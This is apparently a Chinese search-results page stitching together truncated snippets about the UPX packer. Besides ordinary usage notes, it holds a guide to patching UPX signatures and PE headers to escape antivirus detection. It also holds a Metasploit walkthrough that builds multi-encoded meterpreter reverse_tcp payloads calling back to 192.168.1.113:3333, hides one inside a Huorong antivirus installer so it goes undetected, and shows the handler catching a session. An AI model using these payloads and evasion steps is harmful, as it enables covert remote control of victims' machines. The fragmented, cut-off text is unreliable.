精华内容
下载资源
问答
  • UPX 使用教程

    万次阅读 2018-01-05 18:47:57
    说到压缩,大家可能首先想到的是WinRAR和WinZIP之类的压缩软件,但是肯定都没听说过UPX。如果你是一个对程序占用空间斤斤计较的人,那么UPX压缩可以很好的解决你的一些问题,当然,首先我需要先给一些不懂UPX是什么...

    说到压缩,大家可能首先想到的是WinRAR和WinZIP之类的压缩软件,但是肯定都没听说过UPX。如果你是一个对程序占用空间斤斤计较的人,那么UPX压缩可以很好的解决你的一些问题,当然,首先我需要先给一些不懂UPX是什么的同学补补课。

    UPX是什么?

    可以理解成压缩软件,不过他只对可执行文件进行压缩(如EXE文件),当然也有人把他叫壳,即为软件各程序加个壳。

    通俗点说,就是UPX仅仅可以用来压缩EXE文件,而且压缩后的EXE文件还可以无需解压缩直接运行的,怎么样,很棒吧?

    UPX压缩和未压缩文件的区别?

    压缩过的可执行文件,虽然节约了点空间并且可以直接运行,不过运行的时候需要在内存进行解压,所以压缩过的文件比未压缩过的文件稍慢(理论上是这样,但一般情况下人是感觉不出这个慢的)。

    UPX压缩的用途

    主要是写程序的朋友,当然也有一些黑客喜欢使用UPX加壳来躲避杀毒软件的查杀。

    UPX是一个通用可执行文件压缩器,由于其具有:

    • 压缩率高:压缩效果优于zip/gzip;
    • 解压速度快:在奔腾133上即可达到大约10MB/秒;
    • 压缩的可执行文件没有额外的内存开销;
    • 安全:可以列表,检测和解压可执行文件,压缩和解压缩文件内部都维持有一个校验和;
    • 广域:可以压缩多种可执行文件格式:
      • dos/exe
      • dos/sys
      • dos/com
      • djgpp2/coff
      • watcom/le ( 支持DOS4G, PMODE/W, DOS32a 和 CauseWay )
      • win32/pe
      • rtm32/pe
      • tmt/adam
      • linux/386
      • atari/tos
    • 免费
    等特性,因此其也成为我们在压缩可执行文件时的首选工具。
    UPX是一个控制台应用程序,以命令行方式进行操作,其使用是极其简单的:
    upx [-命令] [-选项] [-o 目标文件] 源文件..下面我们以UPX1.07W为例,具体讲解其使用方法。默认情况下,UPX将直接对源文件进行操作,但也可指定目标文件,而不覆盖源文件,文件名支持通配符,即一次可对多个文件进行同一操作。
    一、显示 UPX 通用信息(版权信息,使用说明等),在命令行直接输入 UPX 并回车。
    复制内容到剪贴板
    代码:
    C:\>UPX
             Ultimate Packer for eXecutables
           Copyright (C)1996, 1997, 1998, 1999, 2000, 2001
    UPX 1.07w      Markus F.X.J. Oberhumer & Laszlo Molnar     Feb 20th 2001

    Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..

    Commands:
       -1   compress faster            -9 compressbetter
      -d    decompress                -l listcompressed file
       -t   test compressed file         -V display version number
       -h   give more help              -L display software license
    Options:
       -q   be quiet                  -v be verbose
       -oFILE writeoutput to `FILE'
       -f   force compression of suspicious files
       -k   keep backup files
       file..executables to (de)compress

    This version supports: dos/exe, dos/com, dos/sys, djgpp2/coff,watcom/le,
                   win32/pe, rtm32/pe, tmt/adam, atari/tos, linux/386

    UPX comes with ABSOLUTELY NO WARRANTY; for details visit<Ahref=http://upx.tsx.org>http://upx.tsx.org
    可通过带 -h 命令参数,获取更详细的帮助:
    复制内容到剪贴板
    代码:
    C:\>UPX -h

                 Ultimate Packerfor eXecutables
           Copyright (C)1996, 1997, 1998, 1999, 2000, 2001
    UPX 1.07w      Markus F.X.J. Oberhumer & Laszlo Molnar     Feb 20th 2001

    Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..

    Commands:
       -1   compress faster            -9 compressbetter
       --best compressbest (can be very slow for big files)
       -d   decompress                -l listcompressed file
       -t   test compressed file         -V display version number
       -h   give this help              -L display software license

    Options:
       -q   be quiet                  -v be verbose
       -oFILE writeoutput to `FILE'
       -f   force compression of suspicious files
       --no-color,--mono, --color, --no-progress change look

    Backup options:
       -k, --backup     keep backup files
       --no-backup     no backup files[default]

    Overlay options:
       --overlay=skip   don't compress afile with an overlay
       --overlay=copy   copy any extradata attached to the file [default]
       --overlay=strip   strip any extra data attached to the file [dangerous]

    Options for dos/exe:
       --8086         make compressed exe work on any 8086
       --no-reloc     put norelocations in to the exe header

    Options for dos/com:
       --8086         make compressed com work on any 8086

    Options for dos/sys:
       --8086         make compressed sys work on any 8086

    Options for djgpp2/coff:
       --coff         produce COFF output [default: EXE]

    Options for watcom/le:
       --le         produce LEoutput [default: EXE]

    Options for win32/pe & rtm32/pe:
      --compress-exports=0 do not compress the export section
      --compress-exports=1 compress the export section [default]
      --compress-icons=0   do not compressany icons
      --compress-icons=1   compress all butthe first icon
      --compress-icons=2   compress all butthe first icon directory [default]
      --compress-resources=0  do not compress any resources at all
       --strip-relocs=0     do not strip relocations
       --strip-relocs=1     strip relocations [default]

       file..executables to (de)compress

    This version supports: dos/exe, dos/com, dos/sys, djgpp2/coff,watcom/le,
                   win32/pe, rtm32/pe, tmt/adam, atari/tos, linux/386

    UPX comes with ABSOLUTELY NO WARRANTY; for details visit<Ahref=http://upx.tsx.org>http://upx.tsx.org
    常用操作
    二、压缩可执行文件:
    复制内容到剪贴板
    代码:
    C:\>UPX sample.exe
                 Ultimate Packerfor eXecutables
           Copyright (C)1996, 1997, 1998, 1999, 2000, 2001
    UPX 1.07w      Markus F.X.J. Oberhumer & Laszlo Molnar     Feb 20th 2001

         File size      Ratio   Format   Name
    -------------------- ------ ----------- -----------
    Compressing sample.exe [win32/pe]
    [*****************************...................................]45.8%   |


                 Ultimate Packerfor eXecutables
           Copyright (C)1996, 1997, 1998, 1999, 2000, 2001
    UPX 1.07w      Markus F.X.J. Oberhumer & Laszlo Molnar     Feb 20th 2001

         File size      Ratio   Format   Name
    -------------------- ------ ----------- -----------
    341504 -> 142336 41.67% win32/pe   sample.exe

    Packed 1 file.
    压缩文件可使用命令参数-1~-9来控制压缩速度及压缩率,数字越小压缩速度越快,数字越大压缩率越大。使用--best命令参数将获得最大的压缩率,但其压缩速度也是最慢的。压缩过程将以动态方式显示,压缩完毕将给出压缩前后的文件大小,压缩率,文件格式及名称。
    三、解压缩可执行文件:
    复制内容到剪贴板
    代码:
    C:\>UPX -dsample.exe
                 Ultimate Packerfor eXecutables
           Copyright (C)1996, 1997, 1998, 1999, 2000, 2001
    UPX 1.07w      Markus F.X.J. Oberhumer & Laszlo Molnar     Feb 20th 2001

         File size      Ratio   Format   Name
    -------------------- ------ ----------- -----------
    341504 <- 142336 41.67% win32/pe   sample.exe

    Unpacked 1 file.
    四、列表
    复制内容到剪贴板
    代码:
    C:\>UPX -lsample.exe

                 Ultimate Packerfor eXecutables
           Copyright (C)1996, 1997, 1998, 1999, 2000, 2001
    UPX 1.07w      Markus F.X.J. Oberhumer & Laszlo Molnar     Feb 20th 2001

         File size      Ratio   Format   Name
    -------------------- ------ ----------- -----------
    341504 -> 142336 41.67% win32/pe   sample.exe
    五、 测试压缩过的可执行文件
    复制内容到剪贴板
    代码:
    C:\>UPX -tsample.exe

                 Ultimate Packerfor eXecutables
           Copyright (C)1996, 1997, 1998, 1999, 2000, 2001
    UPX 1.07w      Markus F.X.J. Oberhumer & Laszlo Molnar     Feb 20th 2001

    testing sample.exe [OK]

    Tested 1 file.
    其它操作
    六、显示版本号:
    复制内容到剪贴板
    代码:
    C:\>UPX -V

    upx 1.07
    NRV data compression library 0.81
    Copyright (C) 1996-2001 Markus Franz Xaver Johannes Oberhumer
    Copyright (C) 1996-2001 Laszlo Molnar
    UPX comes with ABSOLUTELY NO WARRANTY; for details type `upx-L'.
    七、显示软件许可声明: 复制内容到剪贴板
    代码:
    C:\>UPX -L

                 Ultimate Packerfor eXecutables
           Copyright (C)1996, 1997, 1998, 1999, 2000, 2001
    UPX 1.07w      Markus F.X.J. Oberhumer & Laszlo Molnar     Feb 20th 2001

    This program may be used freely, and you are welcome to
    redistribute it under certain conditions.

    This program is distributed in the hope that it will beuseful,
    but WITHOUT ANY WARRANTY; without even the implied warrantyof
    MERCHANTABILITY or FITNESS FOR A PARTICULARPURPOSE.   Seethe
    UPX License Agreement for more details.

    You should have received a copy of the UPX License Agreement
    along with this program; see the file LICENSE.
    If not, visit one of the following pages:

         http://upx.tsx.org
         http://www.oberhumer.com/upx/
         http://wildsau.idv.uni-linz.ac.at/mfx/upx.html
    展开全文
  • 手动去upx特征

    千次阅读 2019-08-18 21:01:55
    然而一些病毒、木马和其他恶意程序使用UPX来隐藏自身行为,这使得它拥有不好的名声,导致了杀毒引擎对一些无害的应用程序的误报。有些杀毒引擎甚至将所有加了UPX壳的程序视为病毒,比如ClaimAV、Comodo、F-Prot...

    众所周知,作为一款优秀的可执行文件压缩工具,UPX受到程序开发者的广泛欢迎。然而一些病毒、木马和其他恶意程序使用了UPX来隐藏自身行为,这使得它拥有不好的名声,导致了杀毒引擎对一些无害的应用程序的误报。有些杀毒引擎甚至将所有加了UPX壳的程序视为病毒,比如ClaimAV、Comodo、F-Prot等等。


    其实,不仅是UPX,其它的压缩壳,比如ASPack、PECompact也是如此。今天我们要讨论的,是使用最为广泛的UPX。


    所以,我们需要做的,就是让自己的程序不具备,或者说,不完全具备UPX壳的特征。这既能够有效避免杀毒软件的误报发生,又能使自己的程序不容易被轻易查壳脱壳并任意篡改其中的数据。(UPX壳不是加密壳,若有防破解的特殊需求,建议使用加密壳)
     

    首先,我们来讲一讲查壳的原理。不论是压缩壳,还是加密壳,都有特定的算法。加同种壳的不同应用程序,有一部分机器码是相同的,它们被称为“签名”或者“特征码”。有些壳还会将自身的一些信息写入可执行程序。

     

    主流的杀毒引擎,比如360杀毒,会借助特征码技术来查毒,比如,当一个加了UPX壳的木马被识别后,其部分代码被记入病毒库中,而这可能会导致同样是加了UPX壳的无害应用程序在被进行深入的行为分析前草率地被识别为木马。

     

    下面我们拿我以前写的一个简单的数学工具为例。使用EXEinfoPE,可以发现它没有加壳,以及它是用VS2013的Visual C++编写的。

     

    上传至Virscan.org发现只有F-Prot报毒。这是一次误报,因为程序并没有访问网络的行为。

     

    现在我们用最新的UPX给它加壳。使用“强制压缩”命令来提高压缩比,并将其保存到一个新文件。可以看到,压缩效果还是不错的。

     

     

    现在我们再用EXEinfoPE查看加壳后的程序。可以发现它识别出了UPX壳,并提供了较为直接的脱壳方法:UPX的“upx -d”命令。

     

    我们把加壳后的程序上传至Virscan.org,发现有三个杀毒软件报毒。其中,来自Hacksoft的产品TheHacker怀疑这是个蠕虫,ClaimAV表示这个程序加了UPX壳,F-Prot表示这个程序加了个“未知壳”。

     

    360的QVM引擎也误报了这个程序。

     

    现在来分析一下文件数据。用任何一个十六进制编辑器(UltraEdit,还有VS自带的十六进制编辑器等等都可以,但是不如WinHex)打开加壳后的程序。可以看到三个区段名。“UPX0”和“UPX1”是加UPX壳后的两个区段名。其中UPX1区段包含了需要解压的数据块。“.rsrc”是程序资源信息区段名,这个区段含有原资源段的完整头部以及图标、Manifest、版本等未被压缩的资源,当然还有UPX自身需要的导入信息等(如果程序自身不含资源段,加壳后就是“UPX2”)。“UPX0”和“UPX1”可以被随意改成任何字符串,虽然这样改用处不大,但是也能起到伪装的作用。

     

    再向后翻页,可以看到UPX头部,这些数据的内容大致内容如下所示。具体不再赘述,参见UPX的源码。UPX头是供UPX通过“upx-d”命令脱壳用的,并不影响程序运行。我们可以把它全部抹去(写0),或者把它改成无效数据,这样就无法使用命令“upx -d”快速脱壳了。

     

    现在可以看到,UPX已经不能够脱自己加的壳了。

     

    在我们破坏UPX头部后,EXEinfoPE依然能够识别出UPX壳。那它又是如何识别出来的呢?点击编辑框右边的小箭头。

     

     

    可以看到,EXEinfoPE是通过userdb.txt文件中的特征码库来辨别壳的。其中,UPX的特征码有一段“60 BE ?? ?? ?? 00 8D BE ?? ?? ?? FF”。“??”可以对应任意字节。

     

    使用任意反汇编工具(比如OllyDbg)打开它。可以发现,程序的入口点就在这里。现在需要做的,就是在不影响程序运行的情况下破坏特征码的匹配。方法有很多,这里提供最简单的一种。如下图,抹去此处的pushad并不会影响程序的运行,所以可以把它改成nop(对应的机器码是90)。nop是一个空指令,处理器什么都不做,但是会产生一个极短(通常为几微秒)的延迟。

     

    保存以后,由于匹配不上特征码,ExEinfoPE已经识别不出UPX了。但是它依然具备壳的特征,再加上有三个区段,所以ExEinfoPE猜测这是个UPX。

     

    360杀毒并没有误报。

     

    上传到VirScan.org以后,发现TheHacker不再认为该程序是蠕虫。但是ClaimAV依然识别为UPX(说明UPX还有不少可用作识别的特征),但那并不重要。因为我们已经解决了误报问题,杀毒软件没有直接把它识别为恶意软件或者木马,这就足够了。

     

    UPX会采取多种方式尝试压缩程序以获得较优压缩率,所以有时会匹配到其他的特征码。下面我再举一个例子。这次还是用3.91版本的UPX,但压缩的是一个体积800多KB的程序,最终匹配到了UPX V2.0的特征码。

     

    这段特征码比较长,我们打开反汇编工具,找到它的尾部。

     

    把“push 0x0”改成“push 0x1”即可。

     

    上传到Virscan.org以后发现,江民杀毒软件对它的误报解除了。同时可以看到,ClaimAV这次无法识别出UPX壳。

     

    最后,我们可以使用以下方法来进一步防止查壳。先打开刚才修改过的Dec2Frac2.exe。0x3C和0x3D对应“00 01”的是PE头的地址(反过来写,实际上地址是0x100)从0x40开始一直到PE头之前的数据可以被抹去或者覆盖,不会影响程序正常运行。“E0 00”是PE头的默认长度(224字节),我们现在可以将这224个字节覆盖到0x48这个地址上,其余的部分都写0。

     

    覆盖以后,PE头的偏移地址为0x48,所以填“48 00”,长度为408字节,即0x198,所以填“98 01”。(注:PE头可以覆盖在0x40到原PE头地址之间的任意位置)

     

    现在可以发现EXEinfoPE无法找到程序的入口点。(提示:如果ExEinfoPE仍然能够正常识别这个程序,把PE头靠近末尾的几个字节写0一般就可以了)但这样做可能会导致更多的杀毒引擎将其识别为可疑程序。

     

    大家可以举一反三,尝试一下其他压缩壳的修改,并测试一下防误报的效果。

    展开全文
  • 推荐使用rpx替代upx的公告

    千次阅读 2019-11-26 17:53:07
    但动态绑定时,upx无法被准确编译,此时官方提出了使用uni.upx2px()方法,用来动态计算。 后来其他几家小程序平台陆续都兼容了rpx机制,rpx不再是微信的专用单位,而成为了这个行业的通用单位。...

    推荐使用rpx替代upx的公告

    分类:uni-app

    rpx upx

    upx在2018年就推出了,其初衷是为了让微信的rpx机制可以跨全端使用。

    在普通css写法里,upx会被编译器编译。但动态绑定时,upx无法被准确编译,此时官方提出了使用uni.upx2px()方法,用来动态计算。

    后来其他几家小程序平台陆续都兼容了rpx机制,rpx不再是微信的专用单位,而成为了这个行业的通用单位。

    最近官方收到很多开发小程序的用户投诉upx不能像rpx那样直接支持动态绑定,还得再使用uni.upx2px方法。

    官方反思了策略,既然微信不可能支持upx的动态绑定,不如我们在App端和H5端来支持rpx的动态绑定。这样rpx就可以全端通用,且支持动态绑定,不再需要uni.upx2px方法。

    从HBuilderX 2.0.5起,已经支持rpx的正常着色和px2rpx的ide代码提示转换功能。

    官方也修改了uni-app文档中关于尺寸单位的介绍,不再推荐upx的使用,而推荐rpx。

    这个策略调整,不影响开发者的已有代码正常运行。

    开发者仍然可以使用upx和uni.upx2px,也可以改用rpx,都可以。没有必要批量调整老代码。但新开发还是应该使用rpx。

    顺便提醒另一个事情,很多开发者对响应式单位依赖太严重了,比如组件高度或字体大小也使用upx/rpx。

    注意只有当你需要某元素的单位要根据屏幕宽度大小变化时,才需要rpx这类动态宽度单位。

    一般情况下高度和字体大小是不应该根据屏幕宽度变化的。

    展开全文
  • 多重编码二、加壳1.upx使用总结 前言 本文详细介绍了使用Metasploit创建攻击载荷(使用攻击载荷生成器msfvenom),以及对攻击载荷进行免杀、加壳处理,从而突破杀毒软件 一、免杀 免杀字面意思就是避免被杀掉,...


    前言

    本文详细介绍了使用Metasploit创建攻击载荷(使用攻击载荷生成器msfvenom),以及对攻击载荷进行免杀、加壳处理,从而突破杀毒软件


    一、免杀

    免杀字面意思就是避免被杀掉,准确点说就是创建的攻击载荷在对方电脑上运行的时候,可能会被杀毒软件干掉,使用相关技术让载荷躲过杀毒软件的扫描

    1.msfvenom的使用

    ┌──(root💀kali)-[~]
    └─# msfvenom info        
    Error: No options
    MsfVenom - a Metasploit standalone payload generator.
    Also a replacement for msfpayload and msfencode.
    Usage: /usr/bin/msfvenom [options] <var=val>
    Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
    
    Options:
        -l, --list            <type>     List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
        -p, --payload         <payload>  Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
            --list-options               List --payload <value>'s standard, advanced and evasion options
        -f, --format          <format>   Output format (use --list formats to list)
        -e, --encoder         <encoder>  The encoder to use (use --list encoders to list)
            --service-name    <value>    The service name to use when generating a service binary
            --sec-name        <value>    The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
            --smallest                   Generate the smallest possible payload using all available encoders
            --encrypt         <value>    The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
            --encrypt-key     <value>    A key to be used for --encrypt
            --encrypt-iv      <value>    An initialization vector for --encrypt
        -a, --arch            <arch>     The architecture to use for --payload and --encoders (use --list archs to list)
            --platform        <platform> The platform for --payload (use --list platforms to list)
        -o, --out             <path>     Save the payload to a file
        -b, --bad-chars       <list>     Characters to avoid example: '\x00\xff'
        -n, --nopsled         <length>   Prepend a nopsled of [length] size on to the payload
            --pad-nops                   Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
        -s, --space           <length>   The maximum size of the resulting payload
            --encoder-space   <length>   The maximum size of the encoded payload (defaults to the -s value)
        -i, --iterations      <count>    The number of times to encode the payload
        -c, --add-code        <path>     Specify an additional win32 shellcode file to include
        -x, --template        <path>     Specify a custom executable file to use as a template
        -k, --keep                       Preserve the --template behaviour and inject the payload as a new thread
        -v, --var-name        <value>    Specify a custom variable name to use for certain output formats
        -t, --timeout         <second>   The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
        -h, --help                       Show this message
    

    有几个比较重要的参数:

    • -p:使用那个攻击载荷,可以通过-l payloads查看所有攻击载荷
    • -f:输出格式,linux是elf,windows是exe
    • -o:输出文件名
    • -e:指定编码器,可以通过-l encoders查看所有编码器
    • -i:编码次数
    • -a:设置目标的指令集架构,这里我们选择x86即可
    • –platform:设置目标平台,这里是windows,可以通过–help-platforms选项查看msfvenom支持的所有平台
    • -k:该选项可以保留模版原来的功能,将payload作为一个新的线程来注入,但不能保证可以用在所有可执行程序上
    • -x:指定模版

    例如创建一个windows反弹meterpreter攻击载荷:

    ┌──(root💀kali)-[~]
    └─# msfvenom -p windows/meterpreter/reverse_tcp lhosts=192.168.1.113 lport=3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe               1 ⨯
    [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
    [-] No arch selected, selecting arch: x86 from the payload
    Found 1 compatible encoders
    Attempting to encode payload with 10 iterations of cmd/echo
    cmd/echo succeeded with size 354 (iteration=0)
    cmd/echo succeeded with size 354 (iteration=1)
    cmd/echo succeeded with size 354 (iteration=2)
    cmd/echo succeeded with size 354 (iteration=3)
    cmd/echo succeeded with size 354 (iteration=4)
    cmd/echo succeeded with size 354 (iteration=5)
    cmd/echo succeeded with size 354 (iteration=6)
    cmd/echo succeeded with size 354 (iteration=7)
    cmd/echo succeeded with size 354 (iteration=8)
    cmd/echo succeeded with size 354 (iteration=9)
    cmd/echo chosen with final size 354
    Payload size: 354 bytes
    Final size of exe file: 73802 bytes
    Saved as: cmd_echo_113_3333_10.exe
                                          
    

    -p表示使用windows/meterpreter/reverse_tcp攻击载荷,lhosts=192.168.1.113 lport=3333是主机监控ip和端口,-e 表示使用cmd/echo编码格式,-i表示编码10次

    使用火绒安全进行检测,很容易被检测到
    1

    2.多重编码

    msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.1.113 LPORT=3333 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -f exe -o payload2.0.exe

    ┌──(root💀kali)-[~]
    └─# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.1.113 LPORT=3333 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -f exe -o payload2.0.exe                         
    Attempting to read payload from STDIN...
    Attempting to read payload from STDIN...
    Found 1 compatible encoders
    Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
    ...
    x86/shikata_ga_nai chosen with final size 894
    Payload size: 894 bytes
    
    Found 1 compatible encoders
    Attempting to encode payload with 10 iterations of x86/alpha_upper
    ...
    Found 1 compatible encoders
    Attempting to encode payload with 10 iterations of x86/countdown
    ...
    x86/countdown chosen with final size 161
    Payload size: 161 bytes
    Final size of exe file: 73802 bytes
    Saved as: payload2.0.exe
    x86/alpha_upper succeeded with size 985271 (iteration=9)
    x86/alpha_upper chosen with final size 985271
    Payload size: 985271 bytes
    

    这里使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成可执行文件,这次也可以被检测到
    2
    使用模板

    这次前面不变,最后使用一个火绒的安装包为模板进行生成

    msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.1.113 LPORT=3333 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x /root/桌面/sysdiag-full-5.0.61.1-20210605.exe -k -f exe > payload3.exe

    ┌──(root💀kali)-[~]
    └─# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.1.113 LPORT=3333 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x /root/桌面/sysdiag-full-5.0.61.1-20210605.exe -k -f exe > payload3.exe
    
    

    使用模板后的攻击载荷,已经无法被检测到了,nice!

    3

    运行攻击载荷,可以看到火绒的安装界面,并在主机使用主控端handler,可以连接到靶机

    4

    msf6 > use exploit/multi/handler 
    [*] Using configured payload generic/shell_reverse_tcp
    msf6 exploit(multi/handler) > options
    
    Module options (exploit/multi/handler):
    
       Name  Current Setting  Required  Description
       ----  ---------------  --------  -----------
    
    
    Payload options (generic/shell_reverse_tcp):
    
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LHOST                   yes       The listen address (an interface may be specified)
       LPORT  4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Wildcard Target
    
    
    msf6 exploit(multi/handler) > setg payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    
    msf6 exploit(multi/handler) > setg lhost 192.168.1.113
    
    msf6 exploit(multi/handler) > set lport 3333
    lport => 3333
    
    msf6 exploit(multi/handler) > exploit
    
    [*] Started reverse TCP handler on 192.168.1.113:3333 
    [*] Sending stage (175174 bytes) to 192.168.1.106
    [*] Meterpreter session 1 opened (192.168.1.113:3333 -> 192.168.1.106:1682) at 2021-06-06 12:58:24 +0800
    
    meterpreter > background
    [*] Backgrounding session 1...
    
    

    二、加壳

    加壳是一类能够对可执行文件进行加密压缩并将解压代码嵌入其中的工具,当加壳的文件被运行后,解压代码会从已压缩的数据中重建原始程序并运行

    1.upx的使用

    ┌──(root💀kali)-[~]
    └─# upx                      
                           Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2020
    UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020
    
    Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..
    
    Commands:
      -1     compress faster                   -9    compress better
      -d     decompress                        -l    list compressed file
      -t     test compressed file              -V    display version number
      -h     give more help                    -L    display software license
    Options:
      -q     be quiet                          -v    be verbose
      -oFILE write output to 'FILE'
      -f     force compression of suspicious files
      -k     keep backup files
    file..   executables to (de)compress
    
    Type 'upx --help' for more detailed help.
    
    UPX comes with ABSOLUTELY NO WARRANTY; for details visit https://upx.github.io
    
    

    先使用-5对文件进行加壳

    ┌──(root💀kali)-[~]
    └─# upx -5 payload2.0.exe                                                                                       1 ⨯
                           Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2020
    UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020
    
            File size         Ratio      Format      Name
       --------------------   ------   -----------   -----------
         73802 ->     48128   65.21%    win32/pe     payload2.0.exe                
    
    Packed 1 file.                          
    

    本人对第二代payload2.exe进行加壳测试后,发现还是可以被检测到,但是检测的时间和数量有明显的增加
    5


    总结

    本文详细介绍了msfvenom的使用,以及对攻击载荷进行免杀、加壳的过程,仅供学习。

    展开全文
  • 5、相关问题总结 ...5.1、编译UPX出现“cannot find -lz”错误。  分析:原因是链接器LD没有找到编译出来的zlib库libz.so或libz.a。  解决方法:将libz.so或libz.a拷贝到系统默认的动态链接库
  • HbuiderX编辑vue项目,当使用vue动态绑定样式时不能使用"upx"作单位应使用“px” 如题,HbuiderX编辑vue项目,当使用vue动态绑定样式时不能使用"upx"作单位应使用“px”。今天使用HbuiderX编辑uni-app组件中用到了...
  • upx手动脱壳

    2020-10-26 01:23:33
    upx upx是一个开源的工具,可以到github下载upx upx简单的用法 upx src.exe命令将src.exe加壳 upx src.exe -o dst.exe命令将src.exe加壳并另存为dst.exe upx手动脱壳
  • 目录 单阶段构建 多阶段构建镜像 使用UPX构建更小的Docker镜像 们将使用以下镜像构建新的镜像: $ docker images REPOSITORY TAG IMAGE ID CREATED SIZE golang ...
  • UPX源码分析——加壳篇

    千次阅读 2019-09-12 20:27:14
    0x00 前言 UPX作为一个跨平台的著名开源压缩壳,...虽然针对UPX及其变种的使用和脱壳都有教程可查,但是至少在中文网络里并没有针对其源码的分析。作为一个好奇宝宝,我花了点时间读了一下UPX的源码并梳理了其对E...
  • UPX编译及so加固

    2019-07-15 10:35:00
    UPX编译及so加固 来源https://www.cnblogs.com/Reverser/p/5778042.html 参考http://www.cnblogs.com/fishou/p/4202061.html 1.download upx和所依赖的组件 upx3.92:...
  • //upx.sourceforge.net UPX加壳 通过cmd窗口执行,进入upx目录,执行: upx.exe fishc.exe 或者直接将exe拖至upx.exe上即可 UPX脱壳 upx -d abc.exe 如果作者在导入表等地方修改的话,这种方式就不...
  • 使用的示例是《Windows程序设计》第五版第一章的HelloMsg.exe; 一 UPX命令行压缩 下载 upx.sourceforge.net/download/upx304w.zip upx是一个可执行文件压缩工具; upx -o HelloMsg_upx.exe HelloMsg....
  • Exception: not packed by UPX

    2021-09-23 05:53:06
    尝试UPX的话, 会得出如下图一样令人崩溃的结论 ,然后软件还是无法使用~~~ 最后一行是0 , 而不是1 , 说明不是UPX脱壳的问题。 正文: 【第一步】:找到执行文件 点击桌面的空白地方 => 前往 => 应用...
  • UPX so加密

    2017-05-03 10:59:00
    如何进行编译UPX 请参考http://www.cnblogs.com/oloroso/p/6377807.html Android so加密遇到的问题,参考自http://www.th7.cn/Program/Android/201606/885235.shtml 1、40k以下so不能加壳 kiiim@ubuntu:~/...
  • 的参考文章: ... 1.download upx和所依赖的组件 upx3.92:https://www.pysol.org:4443/hg/upx.hg/archive/tip.tar.gz LZMA4.43:http://nchc.dl.sourceforge.net/projec...
  • linux upx 报错 NotCompressibleException

    千次阅读 2020-01-19 21:29:58
    现象: 在Linux而非Windows中编译C语言源并用UPX压缩时。在终端:中列出UPX: test.so NotCompressibleException。的源代码test.c是: int main(){ int i = 0;...UPX无法处理40Kb以下的二进制文件。...
  • UPX外壳

    2006-03-16 00:00:00
    由于使用习惯的关系,我几乎完全模仿aspack的界面来设计这个程序,唯一的遗憾是我无法知道压缩的进度。另外,程序中提供了很多附加的选项,也都是模仿aspack制作的。甚至制作了同exe÷dll÷ocx文件的右键菜单关联。...
  • 发布exe程序,QT,Enigma virtual box,UPX,压缩和单文件,越来越懒的使用者……
  • 使用PEid进行查壳,可以看出壳的详细信息 方法一 单步跟踪 方法二 ESP定律法 方法三 两次内存镜像法 方法四 一步直到法 先使用PEid进行查壳,可以看出壳的详细信息 方法一 单步跟踪 打开软件,发现...
  • 手脱定制版的android SO UPX

    千次阅读 2017-10-28 22:22:30
    一 前言 ... 加固厂商SO的加壳,一般都是采用UPX壳实现的。如果用原生的进行加壳,...但是对于定制的UPX使用原生UPX无法脱壳的。定制版的UPX一般有以下2种形式:    1 将里面的魔术字符串改掉。下图是UP
  • UPX 可执行程序 压缩

    2012-08-27 14:43:00
    UPX (the Ultimate Packer for eXecutables)是一款先进的可执行程序文件压缩器,压缩过的可执行文件体积缩小50%-70% ,这样减少了磁盘占用空间、网络上传下载的时间和其它分布以及存储费用。 通过 UPX 压缩过的程序...
  • 很多加了壳的软件是很难逆向分析的,需要手脱。下面以UPX壳为例简单介绍一下如何手动脱壳 需要工具:x64dbg。 拿到程序以后使用x64dbg打开。
  • UPX 脱壳初见

    2018-07-15 16:29:00
    (10)WWpack32: 和PECOMPACT一样其实有一部分的老版本可以用PEDUMP32直接脱壳,不过有时候资源无法修改,也就无法汉化,所以最好还是用SOFTICE配合 PEDUMP32脱壳  我们通常都会使用Procdump32这个通用脱壳软件,...
  • UPX脱壳

    2021-11-28 16:26:45
    什么是加壳 加壳是一种程序的保护机制,它可以保护我们的程序不那么容易的被逆向出来。不能直接用IDA分析出来。 ...其中UPX就是一种压缩壳。 UPX脱壳 加壳可执行文件 UPX sample.exe 脱壳执行文件
  • 变形UPX砸壳记

    2019-09-30 11:19:55
